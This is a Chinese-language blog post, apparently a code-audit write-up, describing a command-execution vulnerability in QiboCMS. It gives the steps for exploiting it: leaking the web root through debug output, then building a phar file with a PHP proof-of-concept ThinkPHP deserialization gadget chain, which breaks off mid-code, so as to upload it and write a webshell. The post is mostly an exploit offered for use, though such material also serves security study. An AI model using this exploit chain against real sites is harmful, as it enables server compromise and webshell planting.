某cms代码审计

本文详细介绍了齐博CMS系统中存在的命令执行漏洞,从揭露网站根路径开始,通过生成并利用phar文件,实现文件上传,最终在系统中写入webshell。此过程展示了漏洞的利用步骤和安全风险。

[齐博CMS系统存在命令执行漏洞]

【技术资料】

漏洞利用过程:

1 首先爆出网站跟路径:

访问:

/index.php/cms/1

会在debug里看到网站根路径! 如果开了debug的话!
在这里插入图片描述
然后根据网站根路径修改poc! 看poc里的注释!

2 利用poc生成 phar文件

poc

<?php
namespace think\process\pipes {
   
   
    class Windows {
   
   
        private $files = [];

        public function __construct($files)
        {
   
   
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
   
   
    abstract class Model{
   
   
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
   
   
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值